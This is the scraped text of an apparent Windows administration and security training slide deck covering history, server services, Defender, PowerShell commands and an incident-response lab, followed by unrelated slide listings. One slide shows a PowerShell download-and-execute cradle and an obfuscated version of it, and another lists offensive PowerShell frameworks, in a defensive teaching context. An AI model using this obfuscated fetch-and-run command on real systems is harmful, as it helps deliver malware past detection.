summary
play

SUMMARY History End of life CLI Services Security Considerations - PowerPoint PPT Presentation

Dec 09, 2023 •341 likes •810 views

SUMMARY History End of life CLI Services Security Considerations PowerShell Incident Response BRIEF HISTORY (WINDOWS CLIENT) MSDOS (1980) WINDOWS (1985) WINDOWS 3.1 (1992) Windows 95 (1995)

  2. SUMMARY ▶ History ▶ End of life ▶ CLI ▶ Services ▶ Security Considerations ▶ PowerShell ▶ Incident Response

  3. BRIEF HISTORY (WINDOWS CLIENT) MSDOS (1980) ▶ WINDOWS (1985) ▶ WINDOWS 3.1 (1992) ▶ Windows 95 (1995) ▶ Windows ME (2000) ▶ Windows XP (2001) ▶ Windows Vista (2006) ▶ Windows 7 (2009) ▶ Windows 8 (2012) ▶ Windows 10 (2015) ▶

  4. BRIEF HISTORY (WINDOWS SERVER) ▶ Windows NT (1993) ▶ Windows NT 4.0 (1996) ▶ Windows Server 2003 ▶ Windows Server 2008 ▶ Server 2012 ▶ Server 2016 ▶ Server 2019 (2018)

  5. MARKET SHARE

  6. END OF LIFE ▶ Windows 7 (2020) ▶ Windows 8.1 (2023)

  7. END OF LIFE

  8. KERNEL TYPES

  9. KERNEL

  10. COMMAND LINE INTERFACE (CLI)

  11. COMMAND LINE INTERFACE (CLI)

  12. SERVICES *Fixes 99% of printer problems

  13. WINDOWS SERVER

  14. SERVER CORE

  15. ACTIVE DIRECTORY (AD)

  16. ACTIVE DIRECTORY (AD)

  17. DOMAIN NAME SERVICE (DNS)

  18. DYNAMIC HOST CONFIGURATION PROTOCOL(DHCP)

  19. FILE TRANSFER PROTOCOL (FTP)

  20. INTERNET INFORMATION SERVICES (IIS)

  21. SERVER MESSAGE BLOCK (SMB)

  22. DOMAIN NAME SERVICE (DNS)

  23. GROUP POLICY OBJECTS (GPO)

  24. SECURITY CONSIDERATIONS

  25. WINDOWS DEFENDER ▶ Built into Windows ▶ Behavior based/Signature based

  26. WINDOWS DEFENDER

  27. POWERSHELL BASED EXPLOITATION ▶ “Living off the land” ▶ Open Source Tools Bloodhound ▶ Empire (BC-Security Branch) ▶ Powerup ▶ PoshC2 ▶ Death Star ▶ https://github.com/PowerShellMafia ▶ And more… ▶

  28. OBFUSCATION AND POWERSHELL ▶ -nop == -nopr == -noprof == -noprofile ▶ Invoke-Expression (New-Object Net.WebClient).DownloadString(“htt” + “ps://” + “bit.ly/sample”) == ▶ `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*) “`N`e`T`.`W`e`B`C`l`i`e`N`T”).”`D`o`w`N`l`o`A`d`S`T`R`i`N`g”( ‘ht’+’tps://bit.ly/sample’)

  29. POWERSHELL EXECUTION POLICIES ▶ Not intended to be a security feature

  30. POWERSHELL LOGGING ▶ Only possible in V5 ▶ Very powerful

  31. TOPPLING THE EMPIRE

  32. WHEN SIGNATURE DETECTION FAILS

  33. BEHAVIOR DETECTION SUCCEEDS

  34. WINDOWS DEFENDER + GROUP POLICIES

  35. WINDOWS DEFENDER + GROUP POLICIES

  37. POWERSHELL COMMANDS ▶ Get-Service Lists services running or stopped ▶

  38. POWERSHELL COMMANDS ▶ Start-Service <servicename> ▶ Stop-Service <servicename> Start/Stop service ▶ Ex. Start-Service DNS ▶

  39. POWERSHELL COMMANDS ▶ sc.exe start <servicename> ▶ sc.exe stop <servicename> Start/Stop service ▶

  40. POWERSHELL COMMANDS ▶ Set-Service –Name <serviceName> -StartupType <startupType> Automatic (Delayed) ▶ Automatic ▶ Manual ▶ Disabled ▶

  41. POWERSHELL COMMANDS ▶ Get-MpComputerStatus Gets the status of antimalware software on system ▶

  42. POWERSHELL COMMANDS ▶ Get-Process List Processes ▶

  43. POWERSHELL COMMANDS ▶ Clear Clear Screen ▶

  44. POWERSHELL COMMANDS ▶ More info https://docs.microsoft.com/en-us/powershell/

  45. INCIDENT RESPONSE Hands on

  46. SCENARIO Device: 1x breached Active Directory Server ▶ Brute force attack detected by intrusion detection system at 9/9/2020 at ▶ 0900 EST Defender scan ran following attack no malicious programs found ▶ Credentials ▶ Username: NIMITZ\Administrator ▶ Password: Change.me! ▶

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend

Summary 1. Summary of

Summary 1. Summary of

SIDS and Vanuatu Sustainable Energy for All Strategy Summary 1. Summary of SIDS-related projects by VIA 2. Detailed project summary for Vanuatu 3. Design philosophies

827 views • 36 slides
Search Summary Search Summary Some material from: D Lin, J You, JC Latombe 1 Search Summary #

Search Summary Search Summary Some material from: D Lin, J You, JC Latombe 1 Search Summary #

RN, Chapter 25 Search Summary Search Summary Some material from: D Lin, J You, JC Latombe 1 Search Summary # 1 Problem Solving as Search Blind Search Techniques Breadth-first (uniform cost) Depth-first Iterative

120 views • 8 slides
summary(dsm_x_tw) summary(dsm_xyb_tw) summary(dsm_xy_tw) Overview Estimating smooths How

summary(dsm_x_tw) summary(dsm_xyb_tw) summary(dsm_xy_tw) Overview Estimating smooths How

summary(dsm_x_tw) summary(dsm_xyb_tw) summary(dsm_xy_tw) Overview Estimating smooths How wiggly are things? Measuring wigglyness Splines What about these &quot;s&quot; things? Smoothing Translating maths into R Building a model, from

816 views • 34 slides
The Very Short Summary Friday, 17 May 19 OS Summary Why? Definition? OS IPC Processes

The Very Short Summary Friday, 17 May 19 OS Summary Why? Definition? OS IPC Processes

IN2140: Introduction to Operating Systems and Data Communication The Very Short Summary Friday, 17 May 19 OS Summary Why? Definition? OS IPC Processes Devices Interfaces Memory Storage mechanical mail boxes primitives system calls

479 views • 6 slides
1 Product Range Products 2 summary summary summary summary Relays with 8 and 11-Pins

1 Product Range Products 2 summary summary summary summary Relays with 8 and 11-Pins

1 Product Range Products 2 summary summary summary summary Relays with 8 and 11-Pins Timers with 8 and 11-Pins Power relays with 3 pole, 16A Industrial relays with 4 pole, 10A Miniature relays with 2 and 4 pole

1.08k views • 25 slides
CF3 Summary Non-WIMP Dark Ma5er Cosmic Fron:er Summary

CF3 Summary Non-WIMP Dark Ma5er Cosmic Fron:er Summary

CF3 Summary Non-WIMP Dark Ma5er Cosmic Fron:er Summary Talk Alex Kusenko Leslie Rosenberg Snowmass/Minneapolis, 29 July 06 August 2013 Recap:

630 views • 22 slides
CSEP 590B Summary Below, as a somewhat unusual course summary, I have decided to give

CSEP 590B Summary Below, as a somewhat unusual course summary, I have decided to give

CSEP 590B Summary Below, as a somewhat unusual course summary, I have decided to give the bulk of a research talk I presented in our CompBio seminar last spring, partly because I think the content is interesting, but more to show how

724 views • 28 slides
Security Summary Michael McCool Intel Osaka, W3C Web of Things F2F, 17 May 2017 Summary

Security Summary Michael McCool Intel Osaka, W3C Web of Things F2F, 17 May 2017 Summary

Security Summary Michael McCool Intel Osaka, W3C Web of Things F2F, 17 May 2017 Summary Summary Plenary Review of security process Breakout Review of Threat Model Stakeholders, Roles , Assets, Adversaries, Attack Surfaces,

385 views • 6 slides
Summary of Education Presentations 2020 pg 1 The following is a summary of education presentations

Summary of Education Presentations 2020 pg 1 The following is a summary of education presentations

Summary of Education Presentations 2020 pg 1 The following is a summary of education presentations available. Each presentation will begin with an age-appropriate Introduction to Maui Humane Society and conclude with a question and answer session

299 views • 6 slides
Summary Summary of of UPV UPV activities activities and and results results Mara

Summary Summary of of UPV UPV activities activities and and results results Mara

ICT for EU-India Cross Cultural Dissemination Summary Summary of of UPV UPV activities activities and and results results Mara Alpuente OUTLINE General profile of our node: ELP and RFIA Overview of ELP activities

664 views • 50 slides
Fundamentals of Robotic Surgery Summary of the Ongoing Project FRS Summary for Distribution at

Fundamentals of Robotic Surgery Summary of the Ongoing Project FRS Summary for Distribution at

Fundamentals of Robotic Surgery Summary of the Ongoing Project FRS Summary for Distribution at SLS 2012, Boston, MA Grants Leadership PIs: Roger Smith, PhD &amp; Vipul Patel, MD PI: Richard Satava, MD Florida Hospital Nicholson Center

571 views • 20 slides
GDRSD FINANCIAL GDRSD FINANCIAL GDRSD FINANCIAL GDRSD FINANCIAL OVERVIEW SUMMARY OVERVIEW

GDRSD FINANCIAL GDRSD FINANCIAL GDRSD FINANCIAL GDRSD FINANCIAL OVERVIEW SUMMARY OVERVIEW

GDRSD FINANCIAL GDRSD FINANCIAL GDRSD FINANCIAL GDRSD FINANCIAL OVERVIEW SUMMARY OVERVIEW SUMMARY OVERVIEW SUMMARY OVERVIEW SUMMARY Presented by Jeff Kubick &amp; Alison Manugian Groton(Dunstable Regional School Committee FY17 Goals &amp;

802 views • 33 slides
Summary of findings December 3, 2014 Summary of Key Results

Summary of findings December 3, 2014 Summary of Key Results

Business Roundtable / Change the Equa?on Survey on U.S. Workforce Skills Summary of findings December 3, 2014 Summary of Key Results This survey was

295 views • 13 slides
Summary of Chapter 1 (part 1) Summary of Python Functionality in INF1100 Programs must be

Summary of Chapter 1 (part 1) Summary of Python Functionality in INF1100 Programs must be

5mm. Summary of Chapter 1 (part 1) Summary of Python Functionality in INF1100 Programs must be accurate! Variables are names for objects We have met different object types: int , float , str Hans Petter Langtangen Choose variable names close

523 views • 11 slides
Summary of W Summary of Working Group rking Group A A GMS sub-regional training workshop on

Summary of W Summary of Working Group rking Group A A GMS sub-regional training workshop on

Summary of W Summary of Working Group rking Group A A GMS sub-regional training workshop on building capacity to deal with the illegal shipments of e-waste and near-end-of-life electronics Det Detecti ction, n, prev preventi ention and

58 views • 3 slides
Program Analysis 1 Summary Summary analysis of algorithms asymptotic analysis

Program Analysis 1 Summary Summary analysis of algorithms asymptotic analysis

csci 210: Data Structures Program Analysis 1 Summary Summary analysis of algorithms asymptotic analysis big-O big-Omega big-theta asymptotic notation commonly used functions discrete math

500 views • 33 slides
Provider Directory Advisory Group Meeting January 13, 2016 Welcome! Introductions Agenda

Provider Directory Advisory Group Meeting January 13, 2016 Welcome! Introductions Agenda

Provider Directory Advisory Group Meeting January 13, 2016 Welcome! Introductions Agenda review Updates on HIT procurement and Common Credentialing Fees discussion Break Fees discussion Wrap up and next steps 2 HIT

630 views • 31 slides
Next-Generation gTLD Registration Directory Service (RDS) to replace WHOIS ICANN57 F2F Meeting

Next-Generation gTLD Registration Directory Service (RDS) to replace WHOIS ICANN57 F2F Meeting

Next-Generation gTLD Registration Directory Service (RDS) to replace WHOIS ICANN57 F2F Meeting Slides RDP PDP WG | ICANN58 | 11 March 2017 Agenda 2 3 1 Introductions PDP Work Plan, PDP Working &amp; SOI Updates Progress, &amp;

785 views • 37 slides
=C=Fermilab Managed by Fermi Research Alliance, LLC for the U.S. Department of Energy Office of

=C=Fermilab Managed by Fermi Research Alliance, LLC for the U.S. Department of Energy Office of

FERMILAB-SLIDES-18-104-CD =C=Fermilab Managed by Fermi Research Alliance, LLC for the U.S. Department of Energy Office of Science Office 365 Integration At Fermilab Al Lilianstrom National Laboratories Information Technology Summit May 2015

564 views • 25 slides
IETF ENUM and Internet Directory Services Richard Shockey ENUM WG co-chair NeuStar, Inc.

IETF ENUM and Internet Directory Services Richard Shockey ENUM WG co-chair NeuStar, Inc.

IETF ENUM and Internet Directory Services Richard Shockey ENUM WG co-chair NeuStar, Inc. 1120 Vermont Avenue N.W. Washington DC, 20005 rich.shockey@neustar.com 314.503.0640 Problem Statement How do callers find service(s) on the

509 views • 13 slides
HDF Group ESRF September 2019 Kita-OIO SDS Integration Agenda September 2019 1 About OpenIO

HDF Group ESRF September 2019 Kita-OIO SDS Integration Agenda September 2019 1 About OpenIO

HDF Group ESRF September 2019 Kita-OIO SDS Integration Agenda September 2019 1 About OpenIO 2 OpenIO SDS + KITA 3 Demo 2 OpenIO OpenIO ID 3 Founded in 2015 Quickly growing across geographies and vertical markets 3 40+ 3 40

668 views • 18 slides
ADHA S ecure Messaging Industry Offer Proposed T esting Process Details December 2019

ADHA S ecure Messaging Industry Offer Proposed T esting Process Details December 2019

ADHA S ecure Messaging Industry Offer Proposed T esting Process Details December 2019 Welcome! Webinar technical presenter: S cott Ferris, S olution Architect, ADHA 1 2 2 3 4 5 6 7 M Y SECURE SECURE INTEROPERABILITY M

419 views • 13 slides
Chapter 9: Name Services 9.1 Introduction 9.2 Name services and the DNS 9.3 Directory

Chapter 9: Name Services 9.1 Introduction 9.2 Name services and the DNS 9.3 Directory

Chapter 9: Name Services 9.1 Introduction 9.2 Name services and the DNS 9.3 Directory services 9.6 Summary Learning objectives To understand the need for naming systems in distributed systems To be familiar with the design

682 views • 20 slides
DESIGN OF SCALABLE DIRECTORY SERVICE FOR FUTURE IoT APPLICATIONS Ved P. Kafle, Yusuke Fukushima,

DESIGN OF SCALABLE DIRECTORY SERVICE FOR FUTURE IoT APPLICATIONS Ved P. Kafle, Yusuke Fukushima,

ITU Kaleidoscope 2016 ICTs for a Sustainable World DESIGN OF SCALABLE DIRECTORY SERVICE FOR FUTURE IoT APPLICATIONS Ved P. Kafle, Yusuke Fukushima, Pedro Martinez-Julia, and Hiroaki Harai National Institute of Information and Communications

362 views • 13 slides

More recommend